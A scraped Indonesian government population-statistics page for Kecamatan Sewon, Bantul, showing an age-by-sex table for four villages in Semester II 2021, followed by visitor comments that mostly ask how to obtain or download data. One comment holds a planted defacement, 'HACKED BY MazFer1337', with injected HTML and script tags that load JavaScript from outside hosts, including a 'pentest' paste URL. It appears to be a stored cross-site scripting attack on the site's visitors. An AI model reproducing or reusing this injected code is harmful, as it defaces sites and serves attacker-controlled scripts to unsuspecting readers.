Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN SEWON, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaPENDOWOHARJOTIMBULHARJOBANGUNHARJOPANGGUNGHARJOTotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun257263 520261264 525310270 580318288 6061.146 1.085 2.231
2 tahun152137 289149146 295198175 373187213 400686 671 1.357
3 tahun167137 304169117 286187174 361202170 372725 598 1.323
4 tahun156133 289189142 331193186 379194175 369732 636 1.368
5 tahun149151 300182148 330193214 407197214 411721 727 1.448
6 tahun157143 300151173 324197198 395217198 415722 712 1.434
7 tahun182149 331175192 367208200 408208184 392773 725 1.498
8 tahun165141 306175148 323221196 417230195 425791 680 1.471
9 tahun168160 328183168 351220195 415228186 414799 709 1.508
10 tahun163157 320180154 334198212 410229205 434770 728 1.498
11 tahun170177 347167139 306207209 416204223 427748 748 1.496
12 tahun156168 324201174 375226207 433250226 476833 775 1.608
13 tahun185178 363218174 392206208 414237190 427846 750 1.596
14 tahun189175 364183136 319197181 378236223 459805 715 1.520
15 tahun162169 331157184 341199196 395239217 456757 766 1.523
16 tahun181160 341177148 325193175 368234223 457785 706 1.491
17 tahun150138 288149147 296170145 315176163 339645 593 1.238
18 tahun179165 344162158 320160156 316220209 429721 688 1.409
19 tahun165156 321161171 332198199 397174201 375698 727 1.425
20 tahun199163 362171168 339186191 377201241 442757 763 1.520
21 tahun205150 355169152 321208186 394214231 445796 719 1.515
22 tahun184159 343135151 286173190 363228184 412720 684 1.404
23 tahun138155 293159151 310176176 352196197 393669 679 1.348
24 tahun161142 303152160 312190172 362204197 401707 671 1.378
25 tahun141162 303157145 302168197 365191202 393657 706 1.363
26 tahun140170 310136153 289192176 368198197 395666 696 1.362
27 tahun172150 322169148 317183174 357174206 380698 678 1.376
28 tahun178157 335145164 309191188 379207178 385721 687 1.408
29 tahun154159 313161156 317197198 395188200 388700 713 1.413
30 tahun150155 305183155 338190170 360198215 413721 695 1.416
31 tahun157165 322163155 318200164 364193177 370713 661 1.374
32 tahun141154 295152172 324203204 407209191 400705 721 1.426
33 tahun156184 340149172 321181193 374203201 404689 750 1.439
34 tahun165145 310158152 310174191 365202208 410699 696 1.395
35 tahun172146 318161175 336173207 380184192 376690 720 1.410
36 tahun163159 322179180 359210200 410256227 483808 766 1.574
37 tahun160167 327195172 367243217 460217240 457815 796 1.611
38 tahun188162 350204206 410197219 416236237 473825 824 1.649
39 tahun169192 361187202 389249264 513252245 497857 903 1.760
40 tahun185204 389201168 369224220 444241252 493851 844 1.695
41 tahun198199 397174198 372208213 421223230 453803 840 1.643
42 tahun186199 385178190 368232231 463231222 453827 842 1.669
43 tahun179168 347201183 384212214 426235240 475827 805 1.632
44 tahun173159 332174157 331202199 401208214 422757 729 1.486
45 tahun169162 331167148 315220203 423217225 442773 738 1.511
46 tahun164161 325196167 363219189 408238193 431817 710 1.527
47 tahun181158 339170155 325175163 338211216 427737 692 1.429
48 tahun149159 308165161 326188200 388215221 436717 741 1.458
49 tahun186206 392162178 340204224 428222219 441774 827 1.601
50 tahun161171 332158162 320158166 324176202 378653 701 1.354
51 tahun168170 338187164 351182193 375211208 419748 735 1.483
52 tahun165174 339170177 347181187 368197226 423713 764 1.477
53 tahun180191 371148183 331172199 371224219 443724 792 1.516
54 tahun150183 333173160 333175179 354199186 385697 708 1.405
55 tahun134150 284144147 291150173 323183181 364611 651 1.262
56 tahun177181 358173163 336195201 396157205 362702 750 1.452
57 tahun155166 321130152 282149152 301172179 351606 649 1.255
58 tahun127159 286133165 298159148 307185198 383604 670 1.274
59 tahun145156 301133153 286148178 326167160 327593 647 1.240
60 tahun107127 234133117 250123158 281123147 270486 549 1.035
61 tahun123130 253131155 286153151 304152199 351559 635 1.194
62 tahun123128 251126139 265135168 303167187 354551 622 1.173
63 tahun129118 247121120 241123129 252153166 319526 533 1.059
64 tahun99104 203119115 234131126 257131126 257480 471 951
65 tahun9791 18810998 207101112 213116132 248423 433 856
66 tahun9994 19310094 194114124 238135114 249448 426 874
67 tahun106102 2087872 15013273 20510797 204423 344 767
68 tahun7561 1366978 1478165 1469988 187324 292 616
69 tahun7064 1347676 1529378 1717078 148309 296 605
70 tahun5163 1146643 1097055 1256473 137251 234 485
71 tahun4968 1176352 1156966 1357763 140258 249 507
72 tahun4946 954839 874157 985545 100193 187 380
73 tahun3138 694142 833340 734547 92150 167 317
74 tahun2734 613840 782837 654046 86133 157 290
75 tahun2341 642545 701725 423635 71101 146 247
76 tahun3739 764659 1053849 873448 82155 195 350
77 tahun3138 692834 623344 771941 60111 157 268
78 tahun2425 492527 522628 542931 60104 111 215
79 tahun2944 734030 703035 653644 80135 153 288
80 ke atas156221 377165227 392131175 306140228 368592 851 1.443
Jumlah11.41311.40522.81811.65811.40523.06313.22013.20026.42014.27114.30028.571 50.562 50.310 100.872
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih